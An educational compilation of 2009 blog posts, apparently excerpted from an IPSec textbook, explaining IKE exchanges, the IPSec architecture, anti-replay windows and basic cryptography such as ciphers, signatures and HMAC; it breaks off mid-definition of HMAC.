To properly construct the IPSec SA, the initiator of the protocol must specify to IKE which selectors from his SPD matched the traffic. This information is exchanged in Quick mode using identity payloads and is used to constrain what traffic can be protected by these SAs. At the time of this writing the selector suites in the IPSec Architecture Document was richer than that allowed by the IKE protocol. The IKE protocol cannot express port ranges, nor can it express the "all except" construct—for example, "all TCP ports greater than 1024 except 6000." It is expected that the specifics of selector indication in Quick mode exchanges will be changed to allow the full expression of possible selectors.

Upon completion of a Quick mode the IKE SA returns to a quiescent state and awaits further instruction from IPSec or further communication from the peer. The IKE SA remains active until its lifetime expires or until some external event—such as an operator command to flush the database of IKE SAs— causes the SA to be deleted.

The first two messages in a phase one exchange (either Main mode or Aggressive mode) also exchange cookies. These resemble pseudo-random numbers but are actually temporal and bound to the peer's IP address. Cookie creation is done by hashing together a unique secret, the peer's identity, and a time-based counter. To the casual observer the result of this hash will be a random number, but the recipient of a cookie can quickly determine whether it generated the cookie or not by reconstructing the hash. This binds the cookie to the peer and provides for limited denial of service protection since the real work—the Diffie-Hellman exchange—is not performed until a complete round trip, and an exchange of cookies, has been accomplished.

It would be trivial to write a routine that constructed bogus IKE messages and send them to a destination with a forged source address. If the responder did some work prior to having a strong belief that it is speaking to a genuine IKE peer and not an attacker forging packets it could easily be overwhelmed. Therefore, in Main mode, the responder does not do any Diffie-Hellman work until he has received a second message from the initiator and has verified that message contains a cookie that he generated for the initiator.

Aggressive mode does not have such a protection against denial of service attacks. The parties complete the exchange in three messages (as opposed to Main mode's six) and pass more information in each message. Upon receipt of the first Aggressive mode message the responder must do a Diffie-Hellman exponentiation, this before he has had the chance to check the cookie of the next message that he receives (which is actually the last).

These cookies are used to identify the IKE SA. During a phase one exchange the IKE SA progresses from one state to the next upon processing of received messages and the sending of responses. The state advancement is one way. A phase two exchange is different. A phase two exchange is unique to itself. It is protected by the phase one IKE SA but has its own state. Therefore, it is entirely possible for two or more phase two exchanges to be simultaneously negotiated between the peers and under the protection of the same IKE SA. Each phase two exchange, therefore, creates a transient state machine to track the advancement of the protocol. When the exchange finishes, the state is thrown away. Since each of these transient state machines is protected by the same IKE SA, the messages of the exchanges all have the same cookie pair. An identifier unique to each phase two exchange is used to multiplex these exchanges into a single pipe. This identifier is called a Message ID. with different Message IDs, taking place under the protection of a single IKE SA.

Periodically, it is necessary for an IKE process to send a message to his peer outside of any exchange. This could be to notify the peer that some IPSec SAs which it shares are being deleted, or it could be to report some error. Notification messages and delete messages are sent in another unique exchange called an Informational Exchange. This is a one-way message, no retransmission timer is set upon sending such a message, and no response is expected. These Informational exchanges are similar to a phase two exchange in that they're protected by an IKE SA but are unique and have their own state machine (actually a very simple state machine). Each Informational Exchange therefore has its own unique Message ID to allow it to be multiplexed with Quick mode Exchanges and possibly other Informational Exchanges through a single IKE SA.

Implementation of a compliant IKE requires adherence to three documents: the base ISAKMP specification (RFC2408), the Domain of Interpretation for IPSec (RFC2407), and the IKE specification itself (RFC2409).

The Architecture

2009-04-25T15:41:00.000+05:30

The Architecture

The Architecture Document for IPSec, RFC2401, defines the base architecture upon which all implementations are built. It defines the security services provided by IPSec, how and where they can be used, how packets are constructed and processed, and the interaction of IPSec processing with policy.

The IPSec protocols—AH and ESP—can be used to protect either an entire IP payload or the upper-layer protocols of an IP payload. This distinction is handled by considering two different "modes" of IPSec . Transport mode is used to protect upper-layer protocols; tunnel mode is used to protect entire IP datagrams. In transport mode, an IPSec header is inserted between the IP header and the upper-layer protocol header; in tunnel mode the entire IP packet to be protected is encapsulated in another IP datagram and an IPSec header is inserted between the outer and inner IP headers. Both IPSec protocols, AH and ESP, can operate in either transport mode or tunnel mode.Because of the method of construction, transport mode can only be used to protect packets where the communications endpoint is also the cryptographic endpoint. Tunnel mode may be used in place of transport mode, and in addition may be used by security gateways to provide security services on behalf of other networked entities (for example, a virtual private network). In this latter case, the communications endpoints are those specified in the inner header that's protected and the cryptographic endpoints are those of the outer IP header. A security gateway decapsulates the inner IP packet upon the conclusion of IPSec processing and forwards the packet to its ultimate destination.

As noted, IPSec may be implemented in end systems or on security gateways such as routers and firewalls. Typically this is done by directly modifying the IP stack to support IPSec natively. When access to the IP stack of a machine is not possible, IPSec may be implemented as a "Bump in the Stack" (BITS) or "Bump in the Wire" (BITW). The former is typically a shim that extracts and inserts packets from the IP stack. The latter is typically an external, dedicated crypto device that may be independently addressable.

Security Association

To properly process IPSec packets it is necessary to have a way to associate security services and a key, with the traffic to be protected, and the remote peer with whom IPSec traffic is being exchanged (in other words, how to protect the traffic, what traffic to protect, and with whom the protection is performed). Such a construct is called a "Security Association" (SA). An SA contains the state necessary to do IPSec processing on an IP packet.

An IPSec SA is unidirectional. That is, it defines security services for one direction, either inbound for packets received by the entity, or outbound, for packets that are sent by the entity. SAs are identified by a Security Parameter Index (SPI)—which exists in IPSec protocol headers, the IPSec protocol value—either AH or ESP, and the destination address to which the SA applies—which dictates the direction. Typically, SAs exist in pairs, one in each direction. They may be created manually or dynamically. SAs reside in the Security Association Database (SADB).

When created manually, an SA has no lifetime. It exists until it is manually deleted. When created dynamically, an SA may have a lifetime associated with it. This lifetime is generally negotiated between the IPSec peers by the key management protocol. A lifetime is important because the amount of traffic protected by a key, or similarly the time that a key remains active and in use, must be carefully managed. Excessive use of a key can give an attacker an entry into your work.

Policy

The IPSec Architecture defines the granularity by which a user may specify his or her policy. This allows for certain traffic to be identified coarsely and have one level of security applied while allowing other traffic to be identified more finely and have a completely different level of security applied. For example, one may specify IPSec policy on a network security gateway that requires all traffic between its local protected subnet and the subnet of a remote peer be encrypted with AES and authenticated with HMAC-MD5, while all telnet traffic to a mail server from the remote subnet requires encryption with 3DES and authentication with HMAC-SHA, and all Web traffic to another server requires encryption with IDEA and authentication with HMAC-RIPEMD.

IPSec policy is maintained in the Security Policy Database (SPD). Each entry of the SPD defines the traffic to be protected, how to protect it, and with whom the protection is shared. For each packet entering or leaving the IP stack, the SPD must be consulted for the possible application of security. An SPD entry may define one of three actions to take upon traffic match: discard—do not let this packet in or out; bypass—do not apply security services to an outbound packet and do not expect security on an inbound packet; and protect—apply security services on outbound packets and require inbound packets to have security services applied. SPD entries that define an action of protect will point to an SA or bundle of SAs that identifies the state used to protect the packet.

IP traffic is mapped to IPSec policy by selectors. A selector identifies some component of traffic and may be either coarse or fine. IPSec selectors are: destination IP address; source IP address; name; upper-layer protocol; source and destination ports; and a data sensitivity level (if an IPSec system also provides for flow security). The values of these selectors may be specific entries, ranges, or "opaque." A selector in a policy specification may be opaque because that information may not be available to the system at that time. For example, a security gateway that has an IPSec tunnel with a remote security gateway peer may specify that (some of) the traffic that goes through that tunnel is IPSec traffic between two hosts behind the gateways. In this case, neither gateway would have access to, say, the upper-layer protocol or ports, since they would be encrypted by the end hosts. Opaque may also be used as a wild card, indicating the selector applies to any value.

If an SPD entry defines protect as an action and does not point to any existing SAs in the SADB, those SAs will have to be created before any traffic may pass. If this rule is applied to inbound traffic and the SA does not exist, the IPSec Architecture requires the packets to be dropped; if this rule is applied to outbound traffic the SAs can be created dynamically using the Internet Key Exchange (IKE).

The IPSec Architecture defines the interaction of the SPD, the SADB, with the IPSec processing functions—encapsulate, encrypt, integrity protect and decapsulate, decrypt, integrity verify—and defines how various IPSec implementations may exist. It does not, though, define how the base IPSec protocols operate. That is left for two different documents, one to define the Encapsulating Security Payload (RFC2406) and one to describe the Authentication Header (RFC2402).

Anti-Replay

Both IPSec protocols provide an antireplay service to prevent against a denial of service attack in which old packets are resent by an attacker to cause the recipient to waste CPU cycles processing them. This protection is not explicitly part of the architecture but is germane to both protocols and, as such, will be described here. IPSec packets are protected against replay attacks by using a sequence number and a sliding receive window. Each IPSec header contains a unique and monotonically increasing sequence number. When a SA is created, the sequence number is initialized to zero and prior to IPSec output processing the value is incremented. New SAs must be created prior to the sequence number wrapping around back to zero—prior to 2³² packets since the sequence number is 32 bits long. The receive window can be any size greater than 32 but 64 is recommended. For performance reasons, the window size should be a multiple of the size of a word on the computer on which IPSec is being implemented.

The left end of the window represents the sequence number of the beginning of the window and the right end is window-size packets in the future. Received packets must be new and must fall either inside the window or to the right of the window, otherwise they are dropped. A packet is new if it has not yet been seen in the window. If a packet is received that is to the right of the window, it may be dropped if it fails an authenticity test (more on that later). If it passes the authenticity check the window is advanced, to the right, to encompass that packet. Note that packets may be received out of order and still be properly processed. Also note that a packet received too late—that is, received after a valid packet with a sequence number greater than the size of the window—will be dropped.

The replay window is in only 16 bits and is therefore illegal, but for the sake of illustration will suit us fine. The left end of the window at sequence number N, the right end is therefore at sequence number N+15. Packets N, N+7, N+9, N+16, and N+18 onward have not been received. If recently received packet N+17 is authenticated the window is advanced such that the right end is at N+17 and the left end is at N+2. This would cause packet N to be irretrievably lost since it's now to the left of the receive window. Notice, though, that packet N+7 can still be received provided that packet N+23 is not received and authenticated first.

It's important to note that the window must not be advanced until the packet that would cause its advancement has been authenticated. Doing otherwise would allow an attacker to generate bogus packets with large sequence numbers that would move the window outside the range of valid sequence numbers and cause us to drop valid packets.

IP Security Overview

2009-04-25T15:40:00.000+05:30

IP Security Overview
IP Packets have no inherent security. It is relatively easy to forge the addresses of IP packets, modify the contents of IP packets, replay old packets, and inspect the contents of IP packets in transit. Therefore, there is no guarantee that IP datagrams received are (1) from the claimed sender (the source address in the IP header); (2) that they contain the original data that the sender placed in them; or (3) that the original data was not inspected by a third party while the packet was being sent from source to destination. IPSec is a method of protecting IP datagrams. This protection takes the form of data origin authentication, connectionless data integrity authentication, and data content confidentiality.

IPSec provides a standard, robust, and extensible mechanism in which to provide security to IP and upper-layer protocols (e.g., UDP or TCP). A default, mandatory-to-implement suite of algorithms is defined to assure interoperability between different implementations, and it is relatively straightforward to add new algorithms without breaking interoperability.

IPSec protects IP datagrams by defining a method of specifying the traffic to protect, how that traffic is to be protected, and to whom the traffic is sent. IPSec can protect packets between hosts, between network security gateways (e.g., routers or firewalls), or between hosts and security gateways. Since an IPSec-protected datagram is, itself, just another IP packet, it is possible to nest security services and provide, for example, end-to-end authentication between hosts and send that IPSec-protected data through a tunnel which is, itself, protected by security gateways using IPSec.

The method of protecting IP datagrams or upper-layer protocols is by using one of the IPSec protocols, the Encapsulating Security Payload (ESP) or the Authentication Header (AH). AH provides proof-of-data origin on received packets, data integrity, and antireplay protection. ESP provides all that AH provides in addition to optional data confidentiality. Since ESP provides all that AH provides, one may ask, "Why use AH?" That's a good question, and is the topic of debate in the security community. The debate has shown no signs of subsiding though and AH may be depricated in the future. One subtle difference between the two is the scope of coverage of authentication. This will be discussed more fully in later chapters.

It should be noted that the ultimate security provided by AH or ESP is dependent on the cryptographic algorithms applied by them. Mandatory-to-implement algorithms are defined for conformance testing and to insure interoperability among implementations. These algorithms are generally secure, although recent advances in cryptography and the continued demonstration of Moore's law (the observation that every 18 months computing power doubles) continue to whittle away at the effective security of ciphers. The Digital Encryption Standard (DES) has depricated for just this reason. The new Advanced Encryption Standard (AES) is taking its place.

The security services that IPSec provides requires shared keys to perform authentication and/or confidentiality. A mechanism to manually add keys for these services is mandatory to implement. This ensures interoperability of the base IPSec protocols. Of course, manual key addition scales poorly so a standard method of dynamically authenticating IPSec peers, negotiating security services, and generating shared keys is defined. This key management protocol is called IKE—the Internet Key Exchange.

The shared keys used with IPSec are for either a symmetric cipher (when confidentiality is needed) or for a keyed MAC (for data integrity) or for both. IPSec must be fast and existing public key technologies, such as RSA or DSS, are too slow to operate on a packet-by-packet basis. Presently, public key technology is limited to initial authentication during key exchange.

Crypto Concepts

2009-04-25T15:36:00.000+05:30

Crypto Concepts

Using the tools described above, it's possible to build a very complicated and very extensible system for network security. IPSec is an example. IPSec uses symmetric ciphers in CBC mode for encryption and HMACs for bulk data authentication. The Internet Key Exchange is basically an authenticated Diffie-Hellman exchange. One method of authentication is digital signatures, another involves HMACing a shared secret, a third involves public key encryption to authenticate a peer.

There are certain concepts that are important to IPSec that are not necessarily cryptographic tools.

Perfect Forward Secrecy
Symmetric keys have a much shorter lifetime than asymmetric. This is due to the complexity of the algorithms. Asymmetric algorithms are based on one-way functions, symmetric algorithms are not. While both are in the same class of complexity, asymmetric algorithms are necessarily the most difficult to solve of that class. They may be as difficult to solve as symmetric algorithms (it's the complexity theorists debate of whether NP is equal to NP-complete) but are believed to be more difficult. Until someone proves that these two types of algorithms are of equal complexity we continue to believe that asymmetric algorithms are more complex than symmetric ones. This is a long way of explaining that certain keys have to be thrown away, and never used again, much sooner than other keys.

When a Diffie-Hellman exchange is used to generate a symmetric key (the kind of key that must be changed more frequently), both parties contribute to the result. The key is ephemeral. If that key is thrown away and replaced by a new key, which is the result of another Diffie-Hellman exchange, the two keys will have no relationship to each other. If an attacker broke a single symmetric key, he would have access to all data that was protected by that key but not to data protected by any other key. In other words, the system that uses such ephemeral, single-use, keys has perfect forward secrecy.

A system would not have perfect forward secrecy if there was a single secret from which all symmetric keys were derived. In that case, breaking the root key could give an attacker all keys derived from that root and therefore all data protected by all those keys.

The important issue to keep in mind regarding perfect forward secrecy is that it is not enough to just use a different key, the keys must be unique.

Perfect forward secrecy is important for some applications but not for all. There is a definite overhead associated with doing a Diffie-Hellman exchange at each rekey interval. If the data requires such security it is an appropriate price to pay, but if it doesn't, it could be excessive. So, perfect forward secrecy may not be necessary every single time. The IPSec standard key exchange, IKE, therefore has an option for perfect forward secrecy. If the parties desire it, it is possible, but not necessary.

Denial of Service
Cryptography is not free. Doing modular exponentiation or computing the product of two very large prime numbers, even decrypting and verifying the integrity of individual packets, takes both wall clock time and CPU time. If it was possible to force a computer to do unnecessary work while trying to achieve security, it might be possible to shut down that computer. Such an attack is called a denial of service attack.

Denial of service attacks can be launched against cryptographic systems if the system can be induced to do unnecessary work or allocate memory unnecessarily. A denial of service attack is when the attacker can cause the attackee to do more work in response to the attack than is necessary to launch the attack.

An example of such an attack would be if Alice was willing to do a Diffie-Hellman exchange and Mallory sent thousands of bogus Diffie-Hellman public values to her, all with fake return addresses. Alice could be forced to do her part for these fake exchanges. That could be quite a bit of work! It would be almost no work for Mallory, though, because it's computationally effortless to generate a string of random bits that look like a Diffie-Hellman public value. It's much more work to actually exponentiate and generate a real one.

Another denial of service attack can be launched if Alice and Bob share symmetric keys which they use to encrypt and authenticate individual IP packets. Mallory could send thousands of packets to Bob that look like they came from Alice. Since Mallory doesn't share the key the packets would be bogus, but the only way Bob could find that out is to do the work of decrypting and verifying the integrity of the packet! It's much cheaper to generate bogus packets than it is to detect that they're bogus.

Thankfully, IPSec and IKE are constructed with partial defenses against denial of service attacks. These defenses do not defeat all denial of service attacks, but merely increase the cost and complexity to launch them.

More Information
This chapter provides a brief overview of some cryptographic concepts that will be expanded on later in this book. Cryptography is a complex art, though, and it cannot be adequately explained in a short chapter like this. There are many good books that give a solid background in cryptography that you're strongly encouraged to read. A good place to start is Cryptography and Data Security by Dorothy Denning, and Applied Cryptography by Bruce Schneier.

There are important and fascinating protocols and problems that were not covered here. For instance, the zero knowledge proof: where one party proves to another that she knows some information without actually divulging the information. Another one-way function that was not discussed is the knapsack problem. Like the discrete logarithm problem, the knapsack problem can be used to construct public key cryptosystems. Other, more complicated, key exchanges also exist, like the Encrypted Key Exchange (EKE). There are even attacks against the cryptographic tools that IPSec uses, like the Birthday Attacks against hash functions. This attack takes its name from the observation that if you are in a room with only 182 other people, the chances are even that one of those persons has the same birthday as you. If there is a room of only 23 people, the chances are even that there are two people in the room that share the same birthday. This in spite of the fact that there are 365 (sometimes 366) days in the year! The birthday paradox affects hashing algorithms because it illustrates the statistical probability of finding two random inputs that will hash to the same digest—i.e., in finding a collision. If the digest from a hash algorithm is n bits in length, finding two distinct messages that hash to the same digest would take O(2n/2) operations.

Cryptography is probably as old as speech but it continually evolves to solve new, interesting, and critically important problems of today and tomorrow.

Cryptographic Building Blocks

2009-04-25T07:42:00.000+05:30

Cryptographic Building Blocks

Every system that is established can be hacked or attacked. Each different hack or attack represents a distinct threat against the system. For every threat a threat analysis is done to determine the viability of that threat and what damage can be done if that threat is acted upon. Depending on the threat analysis countermeasures are taken such that the cost of launching the attack is greater than the expected gain from the attack.

Cryptographic tools represent such countermeasures. There is no single cryptographic tool. There are various techniques for encrypting messages, for securely exchanging keys, for maintaining the integrity of messages, and for guaranteeing authenticity of a message. These tools can be thought of as building blocks to construct protection against attack.

A single cryptographic building block solves a particular problem—how to authenticate bulk data, how to establish a shared secret—and they can be combined to build a cryptosystem to protect against threats. The cryptosystem must be stronger than the threat against it.

Generally, the strength of a cryptosystem is measured in its complexity. If 2³² separate operations are required to break a cryptosystem then the complexity of a particular system is 2³². That's a lot of operations, but if each operation can be performed by a modern computer in hundredths or thousandths of a second, the system might not be strong enough to protect against the threat. Because of this the term computationally secure is used to express the security of a modern cryptosystem.

When building a cryptosystem it is necessary to ensure that the component building blocks are used properly and together maintain the necessary strength. For instance, if the strength of the building block used to establish a shared secret is 2⁹⁰ but the strength of the building block used to encrypt the data is only 2⁴⁰ the cryptosystem would be 2⁴⁰, and that is not computationally secure using modern computers.

One-Way Functions and Trap Doors

A good portion of public key cryptography relies upon a foundation of one-way functions and trapdoors. A one-way function is something that is easy to compute in one direction but difficult, bordering on impossible, to compute in the other direction. A trapdoor is a way to sneak back, in effect a way to cheat and return using a secret passage.

For a one-way function to be useful in cryptography it must exhibit its one way-ness with any input. For example, in a finite field it is easy to compute the product of numbers but difficult to factor that product.

Another example is the Discrete Logarithm Problem: with a large prime, p, and a generator, g, for a particular value y, find x where

g^x = y mod p

Modular exponentiation is easy, but doing a discrete logarithm to recover the exponent is hard. For any class of numbers—odd numbers, palidrome numbers, numbers divisible by 47—the problem of solving the discrete logarithm is still very hard.

There are no mathematical proofs of one-way functions but certain functions seem to have the properties that a one-way function would have and are generally referred to as such. There may be ways to factor numbers that are just as fast and easy as producing the product but no one has discovered it yet. Because of that we can put our knowledge on the difficulty in factoring to good use.

Trapdoor functions are a bit harder to explain. Modern cryptographic algorithms use them but it's hard to point to a particular one and say, "that's it!" An example of a trapdoor function is a tree with many branches. To get from a leaf to the trunk is straightforward and requires no choices. To get from the trunk back out to a particular leaf requires choosing a branch, then a subbranch, then another subbranch, et cetera, and finally choosing the leaf. The trapdoor would be a description of which branch to take.

One-Way Hash Functions

One-way hash functions are used in modern cryptosystems for authentication and integrity purposes. A one-way hash function is different than the concept of a one-way function just described. Hash functions take a variable-sized message as input, compress it, and produce a fixed-sized digest. The output of a hash function will be identical for identical input. Since the output is fixed for any length input it should be obvious that there will exist two distinct inputs, X and Y, for a hash algorithm H, such that H(X) equals H(Y). Such an occurrence is called a collision. One-way hash functions are designed such that finding collisions—that is, finding two random inputs that will produce identical hash digests—is difficult.

Popular hash functions in use today are: MD5 (Message Digest 5), SHA (the Secure Hash Algorithm), and RIPEMD. They all produce a different-sized digest and have different speed and collision-resistant properties, but are all used extensively today.

Use of one-way functions, which are based on a trapdoor, are much more computationally intensive than using one-way hash functions. Guaranteeing the integrity of a message using a one-way function with a trapdoor—such as a digital signature scheme—takes considerably more time than guaranteeing the integrity of the message using a hash function. There are situations, though, in which it is not possible to use a one-way hash function. In later chapters you will see how IPSec and IKE use both techniques.

Another technique used quite a bit is the simple exclusive-or (XOR) function. This is neither a one-way function, nor a trapdoor function, but is, nonetheless, a useful tool in building cryptographic systems. Remember from early math classes that the XOR of two zeros is zero, the XOR of two ones is zero and the XOR of a zero and a one (or a one and a zero) is one. XOR has a very important feature that it is commutative. Taking any data and XORing it with a key of the same size (one bit, one byte, or more) will produce an output that can be XORed with the key again to recover the original data. It is the most simplistic "encryption" algorithm. Note, however, that knowing either input and the output it is possible to deduce the other input. This is not generally a characteristic of a real encryption algorithm and illustrates the weakness of using XOR for such a purpose.

Ciphers

Data confidentiality is provided by encryption algorithms which convert a message (plaintext) into gibberish (ciphertext) and back again. Some encryption algorithms are symmetric—the ability to encrypt implies the ability to decrypt—while some are asymmetric—without the use of a trapdoor it is not possible to decrypt what has been encrypted. Asymmetric algorithms are treated not as two separate functions (one for encryption and one for decryption) but as a single algorithm. So, regardless of the "symmetry" of a particular algorithm, encryption algorithms are commutative.

plaintext = Decrypt(Encrypt(plaintext))

This should be most obvious because any algorithm that permanently scrambled its input would be secure but of little use.

Symmetric Ciphers

Symmetric ciphers use a single key to do both encryption and decryption. There are two types of symmetric ciphers, block ciphers and stream ciphers. Block ciphers, such as AES, CAST, and Blowfish, operate on data one block at a time, with the size of the block depending on the algorithm (AES has a 128-bit block size while both CAST and Blowfish have a 64-bit block size). Each block operation is treated as an atomic act. Stream ciphers, such as RC4, on the other hand operate on data one bit (or one byte) at a time. Appropriately seeded with a key, they will produce a stream of bits which can be XORed with the input. The encryptor and the decryptor must be syncronized to ensure that the same bit in the stream used to encrypt a particular bit of plaintext is also used to decrypt the corresponding bit of ciphertext. If the two ever get out of syncronization the plaintext will not be able to be recovered. It is this syncronization problem that makes stream ciphers inappropriate for use with IPSec. If a packet is dropped using a block cipher that will not affect the processing of subsequent packets, but if a packet is dropped using a stream cipher all subsequent packets will be affected until the two side re-synchronize somehow.

Both types of symmetric ciphers are ideally suited for bulk encryption. Since block ciphers are used exclusively in IPSec, the reader is referred to the literature for an in-depth description of stream ciphers.

Block ciphers process data by first dividing it up into equal sized chunks. The size of each chunk is determined by the block size of the cipher. Since there is no guarantee that the length of the input is a multiple of the block size of a block cipher, it may be necessary to pad the input. If the block size is 64 bits and the last block of input is only 48 bits, it may be necessary to add 16 bits of padding to the block prior to performing the encryption (or decryption) operation.

The basic way to use a block cipher is in Electronic Code Book (ECB) mode. Each block of plaintext encrypts to a block of ciphertext. This causes problems though since the same block of plaintext will encrypt, with the same key, into the same block of ciphertext. Therefore it is possible to build a code book of all possible ciphertexts (using all possible keys) for a known plaintext. If we know that an IP datagram was encrypted, we know that the first 20 bytes of ciphertext represent the IP header and that certain fields of an IP header are predictable. An attacker can use that knowledge, with a code book, to determine the key.

To foil the code book attack against a block cipher it is necessary to use the block cipher in a feedback mode. A feedback mode chains blocks together by feeding the results of prior operations into the current operation.

Cipher Block Chaining (CBC) mode takes the previous block of ciphertext and XORs it with the next block of plaintext prior to encryption. There is no "previous block" for the first block so this mode is jumpstarted by XORing the first block with something called an Initialization Vector (IV). The length of the IV must be the same as the block size of the cipher to ensure the entire first block is processed. The IV must have strong pseudo-random properties to ensure that identical plaintext will not produce identical ciphertext. Decryption is the opposite of encryption: Each block is decrypted and XORed with the previous block prior to decryption. The first block is decrypted and XORed with the IV. All ciphers currently defined for use in IPSec are block ciphers operating in CBC mode.

Other popular modes are Cipher Feedback Mode (CFB), where the previous ciphertext block is encrypted and XORed with the current plaintext block (the first block of plaintext is merely XORed with the IV), and Output Feedback Mode (OFB), which maintains a cipher state that is repeatedly encrypted and XORed with blocks of plaintext to produce ciphertext (an IV represents the initial cipher state).

Asymmetric Ciphers

Asymmetric algorithms are also known as public key algorithms. There are two keys, one public and one private. One key does the encryption, the other the decryption, and given a public key it is computationally impossible to determine the private key (as defined above, we can say that good public key algorithms are computationally secure). Good public key algorithms are based on one-way functions.

Public key cryptography is generally held to have been invented by Whitfield Diffie and Martin Hellman in their paper "New Directions in Cryptography," published in IEEE Transactions on Information Theory in 1976. Recently the Communications-Electronics Security Group (CESG) of the British government—the UK version of the United States' NSA— declassified some papers that showed that their cryptanalysts had actually invented the concept six years earlier. In 1970, James Ellis wrote an internal CESG report entitled "The Possibility of Secure Non-Secret Digital Encryption" which discussed an existence theorem, while Clifford Cocks and Malcolm Williamson wrote papers describing practical schemes that closely resemble the RSA and Diffie-Hellman schemes, respectively. Regardless, publication of the Diffie-Hellman paper was a seminal event whose importance is underscored by the nearly 20-year delay in release of the classified British papers. It is not beyond the realm of possibility that if "New Directions in Cryptography" had not been published, this knowledge would still be a classified secret known only to a few.

RSA

The most popular public key algorithm is RSA, named after its inventors Ron Rivest, Adi Shamir, and Leonard Adleman. The security of RSA is based on the difficulty in factoring the product of two very large prime numbers. This is a one-way function: it is easy to compute the product of two large prime numbers but extremely difficult to factor the product into the original prime numbers. One of the features of RSA is that either key can be used to encrypt data that the other key can decrypt. This means that anyone can encrypt a message in your public key that you alone can decrypt. Also, you can encrypt anything with your private key that anyone with your public key can decrypt. You're probably thinking, what's the point then? But this concept is very important in nonrepudiation and digital signatures (which will be discussed shortly).

A drawback of RSA is that it is quite slow and can operate only on data up to the size of the modulus of its key. A 1024-bit RSA public key can only encrypt data that is less than or equal to that size (actually, it's 1013 bits because the definition on how to encrypt using RSA requires an encoding that consumes 11 bits). While this is a restriction similar to a symmetric block cipher, the speed of RSA makes it unsuitable for bulk data encryption. This does not mean that RSA is not useful. On the contrary, it is a de facto standard for such important techniques as key exchange and digital signature.

El-Gamal

Another public key cryptosystem which is suitable for encryption is El-Gamal, named after its inventor, Taher El-Gamal. The El-Gamal cryptosystem is based on the Discrete Logarithm Problem. The main drawback of El-Gamal is that the ciphertext is twice the size of the plaintext. Given our already saturated networks, this is a large drawback. El-Gamal is quite similar to the Diffie-Hellman key exchange, which we'll discuss in detail shortly.

Authentication and Integrity

Confidentiality is necessary to keep a secret, but without authentication you have no way of knowing that the person with whom you share the secret is whom she claims to be. And with no confidence in the integrity of a received message, you don't know if it was the same message actually sent..

Authentication

Public key cryptography can be used for authentication purposes by constructing a so-called digital signature which has properties similar to a traditional signature. A traditional handwritten signature is difficult to forge, and is therefore difficult to repudiate. But because a handwritten signature is just more writing on a document, it is possible (although also difficult given a well-written document) for unscrupulous people to add additional text to an already signed document, giving the impression that the signer agrees to or acknowledges that text.

The Internet is a largely anonymous place and digital information can live a long time, so there are other properties we need for digital signatures in addition to those that a traditional handwritten signature affords.

A digital signature must be difficult to forge and therefore difficult to repudiate, just like a traditional signature. In addition, it must convey message integrity and must be unique. We want to prevent additional text from being added to a digitally signed file and we also want to prevent a signature from being removed from an authentic, signed document and added to other documents. These properties can all be met using public key cryptography.

It is easiest to envision digital signature as encryption and verification of a digital signature as decryption. In fact, that is the way an RSA signature works. But another public key algorithm, in fact a standard for digital signatures, aptly named the Digital Signature Standard (DSS), does not operate in that manner. The difference will be explained shortly, but for purposes of illustration it is encryption and decryption.

What the private key encrypts the public key decrypts. Provided the private key from a public/private key cryptosystem is kept secret, it can be used to construct digital signatures. By encrypting a document with a private key, anybody in possession of the corresponding public key can decrypt the document. Of course an encrypted document is hardly a signature and verification would just entail reconstruction of something that looks good out of the encrypted gibberish. It would also require decryption, and implicit signature verification, every time the document merely needs to be read.

A digital signature is therefore not a private-key encryption of the entire document. Digital signature techniques use one-way hash functions to reduce a document down to a digest. It is that digest that is encrypted. Remember that a hash function will produce the same digest every time it is given identical input and that the input can be of arbitrary length. Provided the hash function has strong collision-resistant properties, we can be assured that the signature is unique to the document.

The encrypted digest, the digital signature, can then be appended to an original document. Verification of the signature entails running the original document through the identical hash function to product a temporary digest and decrypting the signature to recover the original digest. If the two digests are equal, the signature is valid. This technique has all the properties we need:

difficult to forge: only the holder of the private key can generate the signature.
nonrepudiable: a signed document cannot be repudiated later due to extreme difficulty in forging.
unalterable: once signed, a document cannot be modified.
nontransferable: the signature cannot be removed and attached to another document.

It is also possible to have multiple signatures, produced from different private keys, on a single document. Each signature is generated in the same fashion by encrypting a digest of the document to be signed. These encrypted digests are merely appended, one after the other, on the end of the document.

RSA

Due to its unique nature—what one key encrypts the other decrypts—RSA is well suited for digital signatures as well as for encryption. You just use a different key to do the encryption! The technique described previously is exactly what happens when using RSA with digital signatures.

There are no requirements to use any particular hash algorithm when using RSA signatures.

DSA

The digital signature algorithm is similar to the El-Gamal public key scheme. Both are based on the discrete logarithm problem.

As mentioned, the Digital Signature Algorithm does not actually do encryption for signature generation and decryption for signature verification (although it does have a public and private key). Instead, the private key is used to generate two 160-bit values which represent the signature, and verification is a mathematical demonstration, using the public key, that those two values could only have been generated by the private key and the document that was signed. There is no real "decryption".

DSA requires use of SHA as a hash function for signatures. SHA is the algorithm defined in the U.S. government Federal Information Processing Standard (FIPS) for the Secure Hash Standard and was therefore selected to use for another FIPS, the Digital Signature Standard, of which DSA is the algorithm.

Message Integrity

A digital signature provides integrity on the signed document. Any modification to the document would be detected by checking the signature. One drawback of digital signatures is that they are slow and another is that the entire message must be known prior to signature generation. There is no efficient way to provide message integrity of an ongoing data stream using digital signatures.

Just as there are symmetric and asymmetric ciphers, there are symmetric and asymmetric methods of guaranteeing message integrity. Similar to symmetric ciphers, where one single key is used for both encryption and decryption, symmetric message authentication codes (MACs) use a single key for generating and verifying the authentication information. (MACs are sometimes erroneously referred to as signatures—they're not.)

Hash functions are used as MACs just as they are in digital signatures. Since the input to a hash function can be of any length, all one needs to do to generate a MAC is hash a shared secret key along with the message. The resulting digest is attached to the message, and verification of the MAC entails hashing the shared secret key with the message to produce a temporary digest and comparing that temporary digest with the digest attached to the message. This technique is referred to as keyed hashing. It's important to do keyed hashing because just performing a hash on some data does not really provide any authentication. Anybody could modify the data and merely run the hash algorithm over the modified data. A hash function alone is like a checksum, a keyed hash function is a MAC.

Keyed hashing can be used to provide message authentication to a stream of data by dividing the stream into easily digestible chunks and computing a MAC on each chunk. Those MACs then become part of the stream and are used to verify the integrity of the stream as it is received. Another benefit of keyed hashing is that generation of a hash digest is much faster than generation of a digital signature.

A special kind of keyed hash is called an HMAC, and was designed by Hugo Krawczyk, Ran Canetti, and Mihir Bellare. The HMAC specification is in RFC2104 and can be utilized with any existing hash function, so SHA can become HMAC-SHA and MD5 becomes HMAC-MD5. The HMAC construction is cryptographically stronger than the underlying hashing function. There has recently been a demonstrated collision attack against MD5 (where it is possible to find two different inputs which will produce the same digest), but HMAC-MD5 is not susceptible to this attack.

An HMAC is also a keyed hash but is actually a keyed hash inside a keyed hash. It uses two constant pad values—an inner pad and an outer pad—to modify the keys to the hashes. The HMAC based on hash algorithm H of message M using key K is defined as

